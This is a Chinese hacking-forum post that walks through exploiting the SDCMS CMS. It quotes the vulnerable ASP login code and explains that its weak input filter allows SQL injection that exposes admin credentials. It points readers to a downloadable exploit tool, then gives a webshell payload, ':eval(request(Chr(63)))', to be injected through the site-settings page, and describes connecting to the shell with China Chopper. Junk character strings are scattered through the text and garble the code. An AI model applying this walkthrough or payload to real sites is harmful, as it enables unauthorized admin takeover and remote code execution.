作者:T00LS 鬼哥/ b* G" @3 C, O6 Q3 N, J: c0 ]* O
漏洞文件:后台目录/index.asp
$ v* M4 u- E' V. f0 l
+ l; M0 R/ L* k3 }! U: jSub Check# R( p4 I2 m$ \/ @ i5 I+ |
Dim username,password,code,getcode,Rs
% }8 b+ A1 e1 m9 p IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
' T' t! i% u& Q( w& r# s username=FilterText(Trim(Request.Form("username")),1)4 r9 Z7 l) b; R* z
password=FilterText(Trim(Request.Form("password")),1)4 e! i) d H4 J7 w9 }0 v5 @; A
code=Trim(Request.Form("yzm"))
( V0 J6 Y- A& m- X* M$ f getcode=Session("SDCMSCode")! V+ i4 {5 |& ^; B Y6 G2 d& }
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
! e+ G7 ]( b; c1 Q! T IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied4 q5 ^' k3 [5 [) Y% |9 A& ~
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
9 B' E! j- b' u5 S IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied0 k" {7 {7 J8 M5 q/ L* [
IF username="" or password="" Then$ l7 _5 s; i" p6 _. ^
Echo "用户名或密码不能为空" ied
5 z. m/ a/ j! ]) D' }7 w Z# Q Else" a4 H5 T( m1 o1 W. g
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'"), ?/ w9 `# e# ^) @
IF Rs.Eof Then
$ P! R0 \/ z! f AddLog username,GetIp,"登录失败",1
/ E; ^" P' o" M6 D Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"$ k' K! a' m n# a1 t) c( `; i
Else
8 V7 e2 l. \) @8 D& F% P s4 A Add_Cookies "sdcms_id",Rs(0)
3 D5 l1 Z9 d5 k Add_Cookies "sdcms_name",username% T: G4 K" Z( P
Add_Cookies "sdcms_pwd",Rs(2)
$ O; h* k4 H; D, E9 x( B% [ Add_Cookies "sdcms_admin",Rs(3)
) k0 Z% R9 {' d* _ Add_Cookies "sdcms_alllever",Rs(4)1 a$ v6 @! B0 G5 M7 f
Add_Cookies "sdcms_infolever",Rs(5)+ p9 i$ X B2 j0 ^
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
+ ~1 j/ _9 y0 b. j7 f+ w& [ AddLog username,GetIp,"登录成功",16 O2 m- S O1 @% ~" Y! n
'自动删除30天前的Log记录
* x9 N ?+ Q5 v! j IF Sdcms_DataType Then& G; K7 u/ m) E) h
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")- i( M8 }" I1 |$ ]0 P$ v
Else# x) K, y0 l% [2 O( R0 E' Q& v
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")$ [/ g2 r: D7 C- ?3 X4 l) u: e
End IF
; p" W; ^ h6 j( w% P; z Go("sdcms_index.asp"), o1 a9 u3 F) c+ x" l8 i0 `
End IF% Q( \4 k4 U' W7 N1 u3 N
Rs.Close
8 N" Q* f! b0 j1 p Set Rs=Nothing" ]* J( Z# x+ R* F2 x
End IF
. r, }! N4 O4 F3 o* T+ ~End Sub8 ~8 ?4 F9 O; Q- j0 m5 p- r4 q
! n G2 o, P+ R7 L/ h
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
8 y$ ?- R" h$ `8 I- t; C
) Q1 W# F4 T7 z s, n- ~Function FilterText(ByVal t0,ByVal t1), m1 I' t) \( _ L) Q2 o
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function2 r; g+ v6 N! [% r% t- [
t0=Trim(t0); v+ d; _: ]+ k3 c* j$ [
Select Case t1
) e Y0 @! i9 [ B' T Case "1"% x* B: \( Q1 K$ u$ L2 |7 O
t0=Replace(t0,Chr(32),"")
5 _7 U# }0 O+ {9 E t0=Replace(t0,Chr(13),"")
) e8 x0 Q" {8 w6 }7 _ t0=Replace(t0,Chr(10)&Chr(10),"")
5 m/ {9 G9 W! k t0=Replace(t0,Chr(10),"")
# D4 \$ m$ @ v/ ^ Y/ n Case "2"4 J% y. o) k$ d; S# X
t0=Replace(t0,Chr(8),"")'回格" @" {) d1 y. Z) N6 T- a
t0=Replace(t0,Chr(9),"")'tab(水平制表符)
; [- v, ]5 g) J/ ^% G5 h t0=Replace(t0,Chr(10),"")'换行
7 r( T. Q5 t0 L: _9 R$ T* o t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
" t% j4 Z) p( T- `$ M t0=Replace(t0,Chr(12),"")'换页
8 F" ]' W+ S5 r3 A; d9 _ t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合2 P* s; P, o$ f5 T- T
t0=Replace(t0,Chr(22),"")
. k" y8 ^8 s! }4 ^1 u3 Q; ^ t0=Replace(t0,Chr(32),"")'空格 SPACE: D; K" n9 \9 \: V: f+ [- V
t0=Replace(t0,Chr(33),"")'!# z: G# C6 ]7 H y! ~
t0=Replace(t0,Chr(34),"")'"
) j) a' X: K& N0 X: [8 `, ] t0=Replace(t0,Chr(35),"")'#$ s. V' o. @9 a1 @6 V
t0=Replace(t0,Chr(36),"")'$/ w7 n8 F% ]6 n) _+ b, t
t0=Replace(t0,Chr(37),"")'%) a5 ~) K, _4 G6 o9 m
t0=Replace(t0,Chr(38),"")'&9 {3 u% H; c2 B2 o8 h2 u
t0=Replace(t0,Chr(39),"")''
' K" f, R4 F! x3 g% m t0=Replace(t0,Chr(40),"")'(. z! N3 M$ @" H) E( P( L& X: r
t0=Replace(t0,Chr(41),"")')
3 n# m- E# y# M' F t0=Replace(t0,Chr(42),"")'*( e3 M* J- ^8 I" K( c7 ^/ z
t0=Replace(t0,Chr(43),"")'+
! C6 `0 w' i4 }/ ~: X8 l @) d t0=Replace(t0,Chr(44),"")',. O- f* l% \& S' q* e6 L
t0=Replace(t0,Chr(45),"")'-
0 g& c. w3 f: J8 C% @/ j t0=Replace(t0,Chr(46),"")'.
; L r% p' o: Y! S) a# \. q t0=Replace(t0,Chr(47),"")'/
3 Y+ O, E, ^& L7 p) A. v t0=Replace(t0,Chr(58),"")':- |) @1 l3 T* ]
t0=Replace(t0,Chr(59),"")';6 t' a% @$ c3 ]% q; E! r2 i
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
' @+ W1 Z) l' @6 G4 L# { t0=Replace(t0,Chr(63),"")'?& o% s, F6 l, p3 h0 S: w. W
t0=Replace(t0,Chr(64),"")'@
/ I k8 N6 T$ A% D5 m* w) K t0=Replace(t0,Chr(91),"")'\
( M" n- m0 O( ~$ j! Z7 V6 O7 U t0=Replace(t0,Chr(92),"")'\
A2 `& O/ U+ H/ Q! } t0=Replace(t0,Chr(93),"")']) B1 B6 v2 a4 }
t0=Replace(t0,Chr(94),"")'^
0 s3 j% V' {: E9 e% S/ O t0=Replace(t0,Chr(95),"")'_
0 M4 W* W9 a9 ~( d0 C4 `* a5 } t0=Replace(t0,Chr(96),"")'`
; Y/ t' a! l( K) h t0=Replace(t0,Chr(123),"")'{
7 k# J1 S, | u! ^6 W# f# @ F3 p: ] t0=Replace(t0,Chr(124),"")'| u+ j. ^% @- M( m
t0=Replace(t0,Chr(125),"")'}
5 H0 f2 v( e, L$ H, B1 w: C t0=Replace(t0,Chr(126),"")'~. `/ O$ K) \' B& Y6 K+ L* d6 r! o
Case Else) A: P! J0 \2 M" W
t0=Replace(t0, "&", "&")
* c! E) n. l& f7 D$ y8 u2 v t0=Replace(t0, "'", "'")
# X2 J6 z x0 `) s" S$ m$ _5 i( R t0=Replace(t0, """", """)
+ M; d3 ]( p6 J5 C! y5 ?" G t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")7 B4 |. [& D7 |% C: n' F" c/ l
End Select, o: H$ s' A, L7 H6 u
IF Instr(Lcase(t0),"expression")>0 Then* |1 I1 r+ h6 b/ i" y
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
, [- f/ q7 R x4 w" e% ?* O7 o End If! @; x6 p" ^) [' h5 U' A' S$ B
FilterText=t0
, s: a, o Q! q/ j1 p1 [% l0 x6 O9 lEnd Function" H% K! k' l4 r2 r$ Y
$ x v/ L1 q4 i0 q1 Y) Q3 O
看到没。直接参数是1 只过滤
$ k) s# Z; Z) ~ t0=Replace(t0,Chr(32)," ")$ T. E* o' F5 E8 N) [* Q
t0=Replace(t0,Chr(13),"") `) _" C, Y C/ t& l+ O
t0=Replace(t0,Chr(10)&Chr(10),"2 L1 Y7 M9 j! \; `
")- R* k' _& m, U [! p9 [1 i+ O. ^
t0=Replace(t0,Chr(10),"' l4 H* F1 E; Z: a' M
")* s! r6 C1 m1 Q$ s+ ~# N
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!0 c* ~# e( l9 h+ @! g% F- }
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP, U ?4 O# r+ S/ m" P1 K* k
( v* \, i& n9 K+ Z! \8 g8 O测试:4 a& ~3 ~; M0 x: m) k. L
$ g/ @) x- l& Q2 e6 w: l0 s" a- F K! l8 x# {+ ?
现在输入工具上验证码,然后点OK" Z! ]3 d( K0 L6 F/ K0 s
( ]$ h4 D8 }' C+ k) q1 r8 L
0 r4 F/ s$ Q3 \7 w: l看到我们直接进入后台管理界面了,呵呵!
9 c3 m) U- \$ e# \3 t
% s& j! ^( p% w
0 q% n; u' {# K' C# ]6 m; u5 f, } r# @1 F( `+ j
这样直接进入后台了。。。。
* V$ K2 I/ _$ t' h5 P1 G J3 L/ O0 [& H, b7 u5 a3 }
( L; n& C+ m9 L, b# B
1 m3 _* f2 x5 Q7 B, M/ H+ `' x% u' WSDCMS提权:
g! ?( R# V: V4 O7 T* f" o9 r' a
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?, h4 P7 A) c; ?4 P5 w S) f9 M
' `: I/ Z, m" o
6 q" [2 `" {% T4 W# X$ A5 [/ O+ Q9 E: Z6 P+ W# u" _
OK,现在用菜刀连接下!
7 D2 x# p: y5 \" @! q
, g4 h) e0 t9 V5 F9 d( F: @) k0 B1 {
- @% W, b4 F- e ) h4 g: b) `# H* ^$ _' L8 ~ ^
" Y( x# D0 V' i q6 O; }1 W
|